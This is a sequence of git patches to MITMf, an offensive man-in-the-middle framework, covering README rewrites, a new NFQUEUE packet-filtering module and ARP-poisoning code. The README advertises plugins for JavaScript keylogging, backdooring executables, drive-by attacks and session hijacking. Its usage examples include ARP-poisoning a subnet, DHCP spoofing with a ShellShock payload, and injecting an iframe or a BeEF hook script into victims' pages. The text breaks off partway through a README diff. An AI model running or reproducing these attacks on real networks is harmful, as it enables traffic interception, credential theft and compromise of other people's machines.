--- a/README.md +++ b/README.md @@ -1,5 +1,6 @@ ![Supported Python versions](https://img.shields.io/badge/python-2.7-blue.svg) ![Latest Version](https://img.shields.io/badge/mitmf-0.9.8%20--%20The%20Dark%20Side-red.svg) +![Supported OS](https://img.shields.io/badge/Supported%20OS-Linux%2FOSX-yellow.svg) #MITMf @@ -18,7 +19,7 @@ Contact me at: Description ============ -MITMf aims to provide a one-stop-shop for Man-In-The-Middle and Network attacks while updating and improving +MITMf aims to provide a one-stop-shop for Man-In-The-Middle and network attacks while updating and improving existing attacks and techniques. Originally built to address the significant shortcomings of other tools (e.g Ettercap, Mallory), it's been almost completely @@ -28,23 +29,23 @@ Additionally, the framework contains a built-in SMB, HTTP and DNS server that ca Available plugins ================= -- ```HTA Drive-By``` : Injects a fake update notification and prompts clients to download an HTA application -- ```SMBtrap``` : Exploits the 'SMB Trap' vulnerability on connected clients -- ```Screenshotter``` : Uses HTML5 Canvas to render an accurate screenshot of a clients browser -- ```Responder``` : LLMNR, NBT-NS, WPAD and MDNS poisoner -- ```SSLstrip+``` : Partially bypass HSTS -- ```Spoof``` : Redirect traffic using ARP spoofing, ICMP redirects or DHCP spoofing -- ```BeEFAutorun``` : Autoruns BeEF modules based on a client's OS or browser type -- ```AppCachePoison``` : Perform app cache poisoning attacks -- ```Ferret-NG``` : Transperently hijacks sessions -- ```BrowserProfiler``` : Attempts to enumerate all browser plugins of connected clients -- ```FilePwn``` : Backdoor executables sent over HTTP using the Backdoor Factory and BDFProxy -- ```Inject``` : Inject arbitrary content into HTML content -- ```BrowserSniper``` : Performs drive-by attacks on clients with out-of-date browser plugins -- ```jskeylogger``` : Injects a Javascript keylogger into a client's webpages -- ```Replace``` : Replace arbitary content in HTML content -- ```SMBAuth``` : Evoke SMB challenge-response authentication attempts -- ```Upsidedownternet``` : Flips images 180 degrees +- **HTA Drive-By** : Injects a fake update notification and prompts clients to download an HTA application +- **SMBTrap** : Exploits the 'SMB Trap' vulnerability on connected clients +- **ScreenShotter** : Uses HTML5 Canvas to render an accurate screenshot of a clients browser +- **Responder** : LLMNR, NBT-NS, WPAD and MDNS poisoner +- **SSLstrip+** : Partially bypass HSTS +- **Spoof** : Redirect traffic using ARP, ICMP, DHCP or DNS spoofing +- **BeEFAutorun** : Autoruns BeEF modules based on a client's OS or browser type +- **AppCachePoison** : Performs HTML5 App-Cache poisoning attacks +- **Ferret-NG** : Transperently hijacks client sessions +- **BrowserProfiler** : Attempts to enumerate all browser plugins of connected clients +- **FilePwn** : Backdoor executables sent over HTTP using the Backdoor Factory and BDFProxy +- **Inject** : Inject arbitrary content into HTML content +- **BrowserSniper** : Performs drive-by attacks on clients with out-of-date browser plugins +- **JSkeylogger** : Injects a Javascript keylogger into a client's webpages +- **Replace** : Replace arbitary content in HTML content +- **SMBAuth** : Evoke SMB challenge-response authentication attempts +- **Upsidedownternet** : Flips images 180 degrees How to install on Kali ====================== @@ -57,9 +58,7 @@ Installation ============ If you're rocking Kali and want the latest version: - Clone this repository -- Run the ```kali_setup.sh``` script - -**Note: you can ignore any errors when ```pip``` tries to install dependencies, MITMf should be able to run anyway** +- Run the ```kali_setup.sh``` script (**Note: you can ignore any errors when ```pip``` tries to install dependencies, MITMf should be able to run anyway**) If you're rocking any other Linux distro: - Clone this repository @@ -84,4 +83,4 @@ FAQ - Please read the [installation](#installation) guide. - **Dude, no documentation?** -- The docs are a work in progress at the moment, once the framework hits 1.0 I will push them to the wiki \ No newline at end of file +- The docs are a work in progress at the moment, once the framework hits 1.0 I will push them to the wiki From 7ec9f7b395105f308533708957a9b8360fc7e131 Mon Sep 17 00:00:00 2001 From: byt3bl33d3r Date: Mon, 27 Jul 2015 20:44:23 +0200 Subject: [PATCH 078/181] This commit adds active packet filtering/modification to the framework (replicates etterfilter functionality) by using netfilterqueue, you can pass a filter using the new -F option, (will be adding an example later) additionaly removed some deprecated attributes and the --manual-iptables option --- README.md | 14 ++++------ core/packetparser.py | 45 +++++++++++++++++++++++++++++++ core/poisoners/arp/ARPpoisoner.py | 4 +-- core/sslstrip/ClientRequest.py | 12 +++++---- core/sslstrip/URLMonitor.py | 4 +++ core/utils.py | 18 +++++++++---- kali_setup.sh | 6 ----- mitmf.py | 15 ++++++++--- plugins/appcachepoison.py | 1 - plugins/browsersniper.py | 1 - plugins/ferretng.py | 1 - plugins/filepwn.py | 1 - plugins/responder.py | 1 - plugins/spoof.py | 15 ++++------- plugins/sslstrip+.py | 12 +++------ requirements.txt | 2 ++ other_setup.sh => setup.sh | 0 17 files changed, 99 insertions(+), 53 deletions(-) create mode 100644 core/packetparser.py delete mode 100755 kali_setup.sh create mode 100644 requirements.txt rename other_setup.sh => setup.sh (100%) diff --git a/README.md b/README.md index a3c168f..4329d70 100644 --- a/README.md +++ b/README.md @@ -1,6 +1,6 @@ ![Supported Python versions](https://img.shields.io/badge/python-2.7-blue.svg) ![Latest Version](https://img.shields.io/badge/mitmf-0.9.8%20--%20The%20Dark%20Side-red.svg) -![Supported OS](https://img.shields.io/badge/Supported%20OS-Linux%2FOSX-yellow.svg) +![Supported OS](https://img.shields.io/badge/Supported%20OS-Linux-yellow.svg) #MITMf @@ -56,22 +56,18 @@ How to install on Kali Installation ============ -If you're rocking Kali and want the latest version: -- Clone this repository -- Run the ```kali_setup.sh``` script (**Note: you can ignore any errors when ```pip``` tries to install dependencies, MITMf should be able to run anyway**) -If you're rocking any other Linux distro: - Clone this repository -- Run the ```other_setup.sh``` script -- Run the command ```pip install --upgrade mitmflib``` to install all Python dependencies +- Run the ```setup.sh``` script +- Run the command ```pip install --upgrade -r requirements.txt``` to install all Python dependencies FAQ === - **Is Windows supported?** -- No, it will never be supported (so don't ask). +- Nope, don't think it will ever be - **Is OSX supported?** -- Yes! Initial compatibility has been introduced in 0.9.8! Find anything broken submit a PR or open an issue ticket! +- Initial compatibility has been introduced in 0.9.8, still needs some testing, find anything broken submit a PR or open an issue ticket! - **I can't install package X because of an error!** - Try installing the package via ```pip``` or your distro's package manager. This *isn't* a problem with MITMf. diff --git a/core/packetparser.py b/core/packetparser.py new file mode 100644 index 0000000..0a8b1af --- /dev/null +++ b/core/packetparser.py @@ -0,0 +1,45 @@ +import threading + +from core.utils import set_ip_forwarding, iptables +from core.logger import logger +from scapy.all import * +from traceback import print_exc +from netfilterqueue import NetfilterQueue + +formatter = logging.Formatter("%(asctime)s [PacketParser] %(message)s", datefmt="%Y-%m-%d %H:%M:%S") +log = logger().setup_logger("PacketParser", formatter) + +class PacketParser: + + def __init__(self, filter): + self.filter = filter + + def start(self): + set_ip_forwarding(1) + iptables().NFQUEUE() + + self.nfqueue = NetfilterQueue() + self.nfqueue.bind(1, self.modify) + + t = threading.Thread(name='packetparser', target=self.nfqueue.run) + t.setDaemon(True) + t.start() + + def modify(self, pkt): + #log.debug("Got packet") + data = pkt.get_payload() + packet = IP(data) + + try: + execfile(self.filter) + except Exception: + log.debug("Error occurred in filter") + print_exc() + + pkt.set_payload(str(packet)) #set the packet content to our modified version + pkt.accept() #accept the packet + + def stop(self): + self.nfqueue.unbind() + set_ip_forwarding(0) + iptables().flush() \ No newline at end of file diff --git a/core/poisoners/arp/ARPpoisoner.py b/core/poisoners/arp/ARPpoisoner.py index 1a937a0..4de8021 100644 --- a/core/poisoners/arp/ARPpoisoner.py +++ b/core/poisoners/arp/ARPpoisoner.py @@ -175,7 +175,7 @@ class ARPpoisoner: try: targetmac = self.arp_cache[targetip] # see if we already resolved that address - log.debug('{} has already been resolved'.format(targetip)) + #log.debug('{} has already been resolved'.format(targetip)) except KeyError: #This following replaces getmacbyip(), much faster this way packet = Ether(dst='ff:ff:ff:ff:ff:ff')/ARP(op="who-has", pdst=targetip) @@ -211,7 +211,7 @@ class ARPpoisoner: if targetmac is not None: try: - log.debug("Poisoning {} <-> {}".format(targetip, self.gatewayip)) + #log.debug("Poisoning {} <-> {}".format(targetip, self.gatewayip)) self.s.send(ARP(pdst=targetip, psrc=self.gatewayip, hwdst=targetmac, op=arpmode)) self.s.send(ARP(pdst=self.gatewayip, psrc=targetip, hwdst=self.gatewaymac, op=arpmode)) except Exception as e: diff --git a/core/sslstrip/ClientRequest.py b/core/sslstrip/ClientRequest.py index b140da8..681e15a 100644 --- a/core/sslstrip/ClientRequest.py +++ b/core/sslstrip/ClientRequest.py @@ -86,13 +86,15 @@ class ClientRequest(Request): del headers['accept-encoding'] log.debug("Zapped encoding") - if 'if-none-match' in headers: - del headers['if-none-match'] + if self.urlMonitor.caching is False: - if 'if-modified-since' in headers: - del headers['if-modified-since'] + if 'if-none-match' in headers: + del headers['if-none-match'] - headers['pragma'] = 'no-cache' + if 'if-modified-since' in headers: + del headers['if-modified-since'] + + headers['pragma'] = 'no-cache' return headers diff --git a/core/sslstrip/URLMonitor.py b/core/sslstrip/URLMonitor.py index 3073a65..4db0b48 100644 --- a/core/sslstrip/URLMonitor.py +++ b/core/sslstrip/URLMonitor.py @@ -50,6 +50,7 @@ class URLMonitor: self.faviconReplacement = False self.hsts = False self.app = False + self.caching = False @staticmethod def getInstance(): @@ -75,6 +76,9 @@ class URLMonitor: else: return 443 + def setCaching(self, value): + self.caching = value + def addRedirection(self, from_url, to_url): for s in self.redirects: if from_url in s: diff --git a/core/utils.py b/core/utils.py index ce1b2a1..2aecf73 100644 --- a/core/utils.py +++ b/core/utils.py @@ -64,20 +64,23 @@ def get_mac(interface): class iptables: - dns = False - http = False - smb = False + dns = False + http = False + smb = False + nfqueue = False __shared_state = {} - + def __init__(self): self.__dict__ = self.__shared_state - def Flush(self): + def flush(self): log.debug("Flushing iptables") os.system('iptables -F && iptables -X && iptables -t nat -F && iptables -t nat -X') self.dns = False self.http = False + self.smb = False + self.nfqueue = False def HTTP(self, http_redir_port): log.debug("Setting iptables HTTP redirection rule from port 80 to {}".format(http_redir_port)) @@ -93,3 +96,8 @@ class iptables: log.debug("Setting iptables SMB redirection rule from port 445 to {}".format(smb_redir_port)) os.system('iptables -t nat -A PREROUTING -p tcp --destination-port 445 -j REDIRECT --to-port {}'.format(smb_redir_port)) self.smb = True + + def NFQUEUE(self): + log.debug("Setting iptables NFQUEUE rule") + os.system('iptables -t nat -A PREROUTING -j NFQUEUE --queue-num 1') + self.nfqueue = True diff --git a/kali_setup.sh b/kali_setup.sh deleted file mode 100755 index d90d0b5..0000000 --- a/kali_setup.sh +++ /dev/null @@ -1,6 +0,0 @@ -#!/usr/bin/env bash - -git submodule init && git submodule update --recursive -apt-get install -y python-capstone python-twisted python-requests python-scapy python-dnspython python-cryptography python-crypto -apt-get install -y python-msgpack python-configobj python-pefile python-ipy python-openssl python-pypcap -pip install Pillow mitmflib diff --git a/mitmf.py b/mitmf.py index d7fe9a6..44f5349 100755 --- a/mitmf.py +++ b/mitmf.py @@ -54,11 +54,11 @@ sgroup = parser.add_argument_group("MITMf", "Options for MITMf") sgroup.add_argument("--log-level", type=str,choices=['debug', 'info'], default="info", help="Specify a log level [default: info]") sgroup.add_argument("-i", dest='interface', required=True, type=str, help="Interface to listen on") sgroup.add_argument("-c", dest='configfile', metavar="CONFIG_FILE", type=str, default="./config/mitmf.conf", help="Specify config file to use") -sgroup.add_argument('-m', '--manual-iptables', dest='manualiptables', action='store_true', default=False, help='Do not setup iptables or flush them automatically') sgroup.add_argument("-p", "--preserve-cache", action="store_true", help="Don't kill client/server caching") sgroup.add_argument("-l", dest='listen_port', type=int, metavar="PORT", default=10000, help="Port to listen on (default 10000)") sgroup.add_argument("-f", "--favicon", action="store_true", help="Substitute a lock favicon on secure requests.") sgroup.add_argument("-k", "--killsessions", action="store_true", help="Kill sessions in progress.") +sgroup.add_argument("-F", "--filter", type=str, help='Filter to apply to incoming traffic') #Initialize plugins and pass them the parser NameSpace object plugins = [plugin(parser) for plugin in plugin.Plugin.__subclasses__()] @@ -93,7 +93,6 @@ reactor.listenTCP(options.listen_port, strippingFactory) ProxyPlugins().all_plugins = plugins -#All our options should be loaded now, start initializing the plugins print "[*] MITMf v{} - '{}'".format(mitmf_version, mitmf_codename) for plugin in plugins: @@ -122,6 +121,13 @@ print "|_ Sergio-Proxy v0.2.1 online" print "|_ SSLstrip v0.9 by Moxie Marlinspike online" print "|" +if options.filter: + from core.packetparser import PacketParser + pparser = PacketParser(options.filter) + pparser.start() + print "|_ PacketParser online" + print "| |_ Applying filter {} to incoming packets".format(options.filter) + #Start mitmf-api from core.mitmfapi import mitmfapi print "|_ MITMf-API online" @@ -149,6 +155,9 @@ print "|_ SMB server online [Mode: {}] (Impacket {}) \n".format(SMBserver().mode #start the reactor reactor.run() - print "\n" + +if options.filter: + pparser.stop() + shutdown() \ No newline at end of file diff --git a/plugins/appcachepoison.py b/plugins/appcachepoison.py index f40b456..c456db2 100644 --- a/plugins/appcachepoison.py +++ b/plugins/appcachepoison.py @@ -29,7 +29,6 @@ class AppCachePlugin(Plugin): optname = "appoison" desc = "Performs App Cache Poisoning attacks" version = "0.3" - has_opts = False def initialize(self, options): self.options = options diff --git a/plugins/browsersniper.py b/plugins/browsersniper.py index 3d72fce..ea11fa6 100644 --- a/plugins/browsersniper.py +++ b/plugins/browsersniper.py @@ -30,7 +30,6 @@ class BrowserSniper(BrowserProfiler, Plugin): optname = "browsersniper" desc = "Performs drive-by attacks on clients with out-of-date browser plugins" version = "0.4" - has_opts = False def initialize(self, options): self.options = options diff --git a/plugins/ferretng.py b/plugins/ferretng.py index e79f499..2bdfbf7 100644 --- a/plugins/ferretng.py +++ b/plugins/ferretng.py @@ -30,7 +30,6 @@ class FerretNG(Plugin): optname = "ferretng" desc = "Captures cookies and starts a proxy that will feed them to connected clients" version = "0.1" - has_opts = True def initialize(self, options): self.options = options diff --git a/plugins/filepwn.py b/plugins/filepwn.py index 83bd6b9..837dd1f 100644 --- a/plugins/filepwn.py +++ b/plugins/filepwn.py @@ -80,7 +80,6 @@ class FilePwn(Plugin): desc = "Backdoor executables being sent over http using bdfactory" tree_info = ["BDFProxy v0.3.2 online"] version = "0.3" - has_opts = False def initialize(self, options): '''Called if plugin is enabled, passed the options namespace''' diff --git a/plugins/responder.py b/plugins/responder.py index 7b21f48..a4a6a14 100644 --- a/plugins/responder.py +++ b/plugins/responder.py @@ -28,7 +28,6 @@ class Responder(Plugin): desc = "Poison LLMNR, NBT-NS and MDNS requests" tree_info = ["NBT-NS, LLMNR & MDNS Responder v2.1.2 by Laurent Gaffie online"] version = "0.2" - has_opts = True def initialize(self, options): '''Called if plugin is enabled, passed the options namespace''' diff --git a/plugins/spoof.py b/plugins/spoof.py index 7f91e73..13e6c36 100644 --- a/plugins/spoof.py +++ b/plugins/spoof.py @@ -23,12 +23,10 @@ class Spoof(Plugin): optname = "spoof" desc = "Redirect/Modify traffic using ICMP, ARP, DHCP or DNS" version = "0.6" - has_opts = True def initialize(self, options): '''Called if plugin is enabled, passed the options namespace''' self.options = options - self.manualiptables = options.manualiptables self.protocol_instances = [] from core.utils import iptables, shutdown, set_ip_forwarding @@ -74,18 +72,16 @@ class Spoof(Plugin): from core.servers.dns.DNSchef import DNSChef self.tree_info.append('DNS spoofing enabled') - if not options.manualiptables: - if iptables().dns is False: - iptables().DNS(self.config['MITMf']['DNS']['port']) + if iptables().dns is False: + iptables().DNS(self.config['MITMf']['DNS']['port']) if not options.arp and not options.icmp and not options.dhcp and not options.dns: shutdown("[Spoof] Spoof plugin requires --arp, --icmp, --dhcp or --dns") set_ip_forwarding(1) - if not options.manualiptables: - if iptables().http is False: - iptables().HTTP(options.listen_port) + if iptables().http is False: + iptables().HTTP(options.listen_port) for protocol in self.protocol_instances: protocol.start() @@ -109,7 +105,6 @@ class Spoof(Plugin): if hasattr(protocol, 'stop'): protocol.stop() - if not self.manualiptables: - iptables().Flush() + iptables().flush() set_ip_forwarding(0) diff --git a/plugins/sslstrip+.py b/plugins/sslstrip+.py index 5a33d9c..51f21b3 100644 --- a/plugins/sslstrip+.py +++ b/plugins/sslstrip+.py @@ -25,25 +25,21 @@ class SSLstripPlus(Plugin): desc = 'Enables SSLstrip+ for partial HSTS bypass' version = "0.4" tree_info = ["SSLstrip+ by Leonardo Nve running"] - has_opts = False def initialize(self, options): self.options = options - self.manualiptables = options.manualiptables from core.sslstrip.URLMonitor import URLMonitor from core.servers.dns.DNSchef import DNSChef from core.utils import iptables - if not options.manualiptables: - if iptables().dns is False: - iptables().DNS(self.config['MITMf']['DNS']['port']) + if iptables().dns is False: + iptables().DNS(self.config['MITMf']['DNS']['port']) URLMonitor.getInstance().setHstsBypass() DNSChef().setHstsBypass() def on_shutdown(self): from core.utils import iptables - if not self.manualiptables: - if iptables().dns is True: - iptables().Flush() + if iptables().dns is True: + iptables().flush() diff --git a/requirements.txt b/requirements.txt new file mode 100644 index 0000000..192c664 --- /dev/null +++ b/requirements.txt @@ -0,0 +1,2 @@ +git+git://github.com/kti/python-netfilterqueue +mitmflib \ No newline at end of file diff --git a/other_setup.sh b/setup.sh similarity index 100% rename from other_setup.sh rename to setup.sh From 720c86470ac2e8217301e5621e84e04e35ebb941 Mon Sep 17 00:00:00 2001 From: byt3bl33d3r Date: Mon, 27 Jul 2015 21:54:45 +0200 Subject: [PATCH 079/181] added code climate, modified readme --- CHANGELOG.md | 14 +++++++++++++- README.md | 1 + 2 files changed, 14 insertions(+), 1 deletion(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 23a4e91..f2fc580 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -1,4 +1,16 @@ -#Changes before v0.9.8 +- Added active filtering/injection into the framework + +- Fixed a bug in the DHCP poisoner which prevented it from working on windows OS's + +- Made some preformance improvements to the ARP spoofing poisoner + +- Refactored Appcachepoison , BrowserSniper plugins + +- Refactored proxy plugin API + +-Inject plugin now uses BeautifulSoup4 to parse and inject HTML/JS + +- Added HTA Drive by plugin - Added the SMBTrap plugin diff --git a/README.md b/README.md index 4329d70..3845e4b 100644 --- a/README.md +++ b/README.md @@ -1,6 +1,7 @@ ![Supported Python versions](https://img.shields.io/badge/python-2.7-blue.svg) ![Latest Version](https://img.shields.io/badge/mitmf-0.9.8%20--%20The%20Dark%20Side-red.svg) ![Supported OS](https://img.shields.io/badge/Supported%20OS-Linux-yellow.svg) +[![Code Climate](https://codeclimate.com/github/byt3bl33d3r/MITMf/badges/gpa.svg)](https://codeclimate.com/github/byt3bl33d3r/MITMf) #MITMf From 39e0ae0e8834973fcc081cc1ef6860f888f2e8ba Mon Sep 17 00:00:00 2001 From: byt3bl33d3r Date: Tue, 28 Jul 2015 04:10:32 +0200 Subject: [PATCH 080/181] added features and examples in readme --- README.md | 55 ++++++++++++++++++++++++++++++++++++++++++++++++++++--- 1 file changed, 52 insertions(+), 3 deletions(-) diff --git a/README.md b/README.md index 3845e4b..52f96fc 100644 --- a/README.md +++ b/README.md @@ -26,10 +26,54 @@ existing attacks and techniques. Originally built to address the significant shortcomings of other tools (e.g Ettercap, Mallory), it's been almost completely re-written from scratch to provide a modular and easily extendible framework that anyone can use to implement their own MITM attack. -Additionally, the framework contains a built-in SMB, HTTP and DNS server that can be controlled and used by the various plugins. +Main Features +============= + +- The framework contains a built-in SMB, HTTP and DNS server that can be controlled and used by the various plugins it also contains a modified version of the SSLStrip proxy that allows for HTTP modification and a partial HSTS bypass. + +- As of version 0.9.8, MITMf supports active packet filtering and manipulation (basically what etterfilters did, only better), +allowing users to modify any type of traffic or protocol. + +- The configuration file can be edited on-the-fly while MITMf is running and the changes will be passed down through the framework, this allows you to tweak settings of plugins and servers while performing an attack. + +- MITMf will capture FTP, IRC, POP, IMAP, Telnet, SMTP, SNMP (community strings), NTLMv1/v2 (all supported protocols like HTTP, SMB, LDAP etc.) and Kerberos credentials by using [Net-Creds](https://github.com/DanMcInerney/net-creds), which is run on startup. + +- [Responder](https://github.com/SpiderLabs/Responder) integration allows for LLMNR, NBT-NS and MDNS poisoning a rogue WPAD rouge server support. + +Examples +======== + +- The most basic usage, just starts the HTTP proxy SMB,DNS,HTTP servers and Net-Creds on interface ```enp3s0```: +```python mitmf.py -i enp3s0``` + +- ARP poison 192.168.1.0/24 with the gateway at 192.168.1.1 using the **Spoof** plugin: +```python mitmf.py -i enp3s0 --spoof --arp --target 192.168.1.0/24 --gateway 192.168.1.1``` + +- Same as above + a WPAD rougue proxy server using the **Responder** plugin: +```python mitmf.py -i enp3s0 --spoof --arp --target 192.168.0.0/24 --gateway 192.168.1.1 --responder --wpad``` + +- Enable DNS spoofing while ARP poisoning (Domains to spoof are pulled from the config file): +```python mitmf.py -i enp3s0 --spoof --dns --arp --target 192.168.1.0/24 --gateway 192.168.1.1``` + +- Enable LLMNR/NBTNS/MDNS spoofing: +```python mitmf.py -i enp3s0 --responder --wredir --nbtns``` + +- Enable DHCP spoofing (the ip pool and subnet are pulled from the config file): +```python mitmf.py -i enp3s0 --spoof --dhcp``` + +- Same as above with a ShellShock payload that will be executed if any client is vulnerable: +```python mitmf.py -i enp3s0 --spoof --dhcp --shellshock 'echo 0wn3d'``` + +- Inject an HTML IFrame using the **Inject** plugin: +```python mitmf.py -i enp3s0 --inject --html-url http://some-evil-website.com``` + +- Inject a JS script: +```python mitmf.py -i enp3s0 --inject --js-url http://beef:3000/hook.js``` + +And much much more! Of course you can mix and match almost any plugin together (e.g. ARP spoof + inject + Responder etc..) + +#Currently available plugins -Available plugins -================= - **HTA Drive-By** : Injects a fake update notification and prompts clients to download an HTA application - **SMBTrap** : Exploits the 'SMB Trap' vulnerability on connected clients - **ScreenShotter** : Uses HTML5 Canvas to render an accurate screenshot of a clients browser @@ -59,9 +103,14 @@ Installation ============ - Clone this repository +- ```apt-get install build-essential python-dev libnetfilter-queue-dev``` for active packet filtering/modification - Run the ```setup.sh``` script - Run the command ```pip install --upgrade -r requirements.txt``` to install all Python dependencies +**Note:** on Kali, Debian (and possibly Ubuntu): If pip complains about ```pcap.h``` missing, install the ```libpcap0.8-dev``` and ```python-pypcap``` packages and try again + +**Note 2:** If ```netfilterqueue``` fails to compile, install the ```libnetfilter-queue-dev``` package + FAQ === - **Is Windows supported?** From a024987c911cef50bf8e9cca106c44ab0b4e6442 Mon Sep 17 00:00:00 2001 From: byt3bl33d3r Date: Tue, 28 Jul 2015 02:19:11 +0200 Subject: [PATCH 081/181] Update README.md --- README.md | 36 ++++++++++++++++++++++-------------- 1 file changed, 22 insertions(+), 14 deletions(-) diff --git a/README.md b/README.md index 52f96fc..471ed33 100644 --- a/README.md +++ b/README.md @@ -26,48 +26,57 @@ existing attacks and techniques. Originally built to address the significant shortcomings of other tools (e.g Ettercap, Mallory), it's been almost completely re-written from scratch to provide a modular and easily extendible framework that anyone can use to implement their own MITM attack. -Main Features -============= +Features +======== - The framework contains a built-in SMB, HTTP and DNS server that can be controlled and used by the various plugins it also contains a modified version of the SSLStrip proxy that allows for HTTP modification and a partial HSTS bypass. - As of version 0.9.8, MITMf supports active packet filtering and manipulation (basically what etterfilters did, only better), allowing users to modify any type of traffic or protocol. -- The configuration file can be edited on-the-fly while MITMf is running and the changes will be passed down through the framework, this allows you to tweak settings of plugins and servers while performing an attack. +- The configuration file can be edited on-the-fly while MITMf is running, the changes will be passed down through the framework: this allows you to tweak settings of plugins and servers while performing an attack. - MITMf will capture FTP, IRC, POP, IMAP, Telnet, SMTP, SNMP (community strings), NTLMv1/v2 (all supported protocols like HTTP, SMB, LDAP etc.) and Kerberos credentials by using [Net-Creds](https://github.com/DanMcInerney/net-creds), which is run on startup. -- [Responder](https://github.com/SpiderLabs/Responder) integration allows for LLMNR, NBT-NS and MDNS poisoning a rogue WPAD rouge server support. +- [Responder](https://github.com/SpiderLabs/Responder) integration allows for LLMNR, NBT-NS and MDNS poisoning and WPAD rogue server support. Examples ======== -- The most basic usage, just starts the HTTP proxy SMB,DNS,HTTP servers and Net-Creds on interface ```enp3s0```: +The most basic usage, just starts the HTTP proxy SMB,DNS,HTTP servers and Net-Creds on interface enp3s0: + ```python mitmf.py -i enp3s0``` -- ARP poison 192.168.1.0/24 with the gateway at 192.168.1.1 using the **Spoof** plugin: +ARP poison 192.168.1.0/24 with the gateway at 192.168.1.1 using the **Spoof** plugin: + ```python mitmf.py -i enp3s0 --spoof --arp --target 192.168.1.0/24 --gateway 192.168.1.1``` -- Same as above + a WPAD rougue proxy server using the **Responder** plugin: +Same as above + a WPAD rougue proxy server using the **Responder** plugin: + ```python mitmf.py -i enp3s0 --spoof --arp --target 192.168.0.0/24 --gateway 192.168.1.1 --responder --wpad``` -- Enable DNS spoofing while ARP poisoning (Domains to spoof are pulled from the config file): +Enable DNS spoofing while ARP poisoning (Domains to spoof are pulled from the config file): + ```python mitmf.py -i enp3s0 --spoof --dns --arp --target 192.168.1.0/24 --gateway 192.168.1.1``` -- Enable LLMNR/NBTNS/MDNS spoofing: +Enable LLMNR/NBTNS/MDNS spoofing: + ```python mitmf.py -i enp3s0 --responder --wredir --nbtns``` -- Enable DHCP spoofing (the ip pool and subnet are pulled from the config file): +Enable DHCP spoofing (the ip pool and subnet are pulled from the config file): + ```python mitmf.py -i enp3s0 --spoof --dhcp``` -- Same as above with a ShellShock payload that will be executed if any client is vulnerable: +Same as above with a ShellShock payload that will be executed if any client is vulnerable: + ```python mitmf.py -i enp3s0 --spoof --dhcp --shellshock 'echo 0wn3d'``` -- Inject an HTML IFrame using the **Inject** plugin: +Inject an HTML IFrame using the **Inject** plugin: + ```python mitmf.py -i enp3s0 --inject --html-url http://some-evil-website.com``` -- Inject a JS script: +Inject a JS script: + ```python mitmf.py -i enp3s0 --inject --js-url http://beef:3000/hook.js``` And much much more! Of course you can mix and match almost any plugin together (e.g. ARP spoof + inject + Responder etc..) @@ -103,7 +112,6 @@ Installation ============ - Clone this repository -- ```apt-get install build-essential python-dev libnetfilter-queue-dev``` for active packet filtering/modification - Run the ```setup.sh``` script - Run the command ```pip install --upgrade -r requirements.txt``` to install all Python dependencies From 0046c968064508b61a0dd34fd894ea9a859169a8 Mon Sep 17 00:00:00 2001 From: byt3bl33d3r Date: Tue, 28 Jul 2015 02:27:54 +0200 Subject: [PATCH 082/181] spelling --- README.md | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/README.md b/README.md index 471ed33..264b541 100644 --- a/README.md +++ b/README.md @@ -29,7 +29,7 @@ re-written from scratch to provide a modular and easily extendible framework tha Features ======== -- The framework contains a built-in SMB, HTTP and DNS server that can be controlled and used by the various plugins it also contains a modified version of the SSLStrip proxy that allows for HTTP modification and a partial HSTS bypass. +- The framework contains a built-in SMB, HTTP and DNS server that can be controlled and used by the various plugins, it also contains a modified version of the SSLStrip proxy that allows for HTTP modification and a partial HSTS bypass. - As of version 0.9.8, MITMf supports active packet filtering and manipulation (basically what etterfilters did, only better), allowing users to modify any type of traffic or protocol. @@ -43,7 +43,7 @@ allowing users to modify any type of traffic or protocol. Examples ======== -The most basic usage, just starts the HTTP proxy SMB,DNS,HTTP servers and Net-Creds on interface enp3s0: +The most basic usage, starts the HTTP proxy SMB,DNS,HTTP servers and Net-Creds on interface enp3s0: ```python mitmf.py -i enp3s0``` @@ -51,7 +51,7 @@ ARP poison 192.168.1.0/24 with the gateway at 192.168.1.1 using the **Spoof** pl ```python mitmf.py -i enp3s0 --spoof --arp --target 192.168.1.0/24 --gateway 192.168.1.1``` -Same as above + a WPAD rougue proxy server using the **Responder** plugin: +Same as above + a WPAD rogue proxy server using the **Responder** plugin: ```python mitmf.py -i enp3s0 --spoof --arp --target 192.168.0.0/24 --gateway 192.168.1.1 --responder --wpad``` From a831236538eee0eee2e9e78c1f08c579928407c1 Mon Sep 17 00:00:00 2001 From: byt3bl33d3r Date: Tue, 28 Jul 2015 04:40:40 +0200 Subject: [PATCH 083/181] moved the FAQ to CONTRIBUTING.md --- CONTRIBUTING.md | 19 ++++++++++++++++++- README.md | 42 ++++++++++++------------------------------ 2 files changed, 30 insertions(+), 31 deletions(-) diff --git a/CONTRIBUTING.md b/CONTRIBUTING.md index 2fe828e..6db95b6 100644 --- a/CONTRIBUTING.md +++ b/CONTRIBUTING.md @@ -15,4 +15,21 @@ When inevitably you do come across said *bug*, please open an issue and include - Full error traceback, if any - A packet capture if relevant -Also, remember that Github markdown is your friend! \ No newline at end of file +Also, remember that Github markdown is your friend! + +FAQ +=== +- **Is Windows supported?** +- Nope, don't think it will ever be + +- **Is OSX supported?** +- Initial compatibility has been introduced in 0.9.8, still needs some testing, find anything broken submit a PR or open an issue ticket! + +- **I can't install package X because of an error!** +- Try installing the package via ```pip``` or your distro's package manager. This *isn't* a problem with MITMf. + +- **How do I install package X?** or **I get an ImportError when launching MITMf!** +- Please read the installation guide in the [readme](README.md). + +- **Dude, no documentation?** +- The docs are a work in progress at the moment, once the framework hits 1.0 I will push them to the wiki \ No newline at end of file diff --git a/README.md b/README.md index 264b541..a9b8a7c 100644 --- a/README.md +++ b/README.md @@ -45,41 +45,43 @@ Examples The most basic usage, starts the HTTP proxy SMB,DNS,HTTP servers and Net-Creds on interface enp3s0: -```python mitmf.py -i enp3s0``` +- ```python mitmf.py -i enp3s0``` ARP poison 192.168.1.0/24 with the gateway at 192.168.1.1 using the **Spoof** plugin: -```python mitmf.py -i enp3s0 --spoof --arp --target 192.168.1.0/24 --gateway 192.168.1.1``` +- ```python mitmf.py -i enp3s0 --spoof --arp --target 192.168.1.0/24 --gateway 192.168.1.1``` Same as above + a WPAD rogue proxy server using the **Responder** plugin: -```python mitmf.py -i enp3s0 --spoof --arp --target 192.168.0.0/24 --gateway 192.168.1.1 --responder --wpad``` +- ```python mitmf.py -i enp3s0 --spoof --arp --target 192.168.0.0/24 --gateway 192.168.1.1 --responder --wpad``` Enable DNS spoofing while ARP poisoning (Domains to spoof are pulled from the config file): -```python mitmf.py -i enp3s0 --spoof 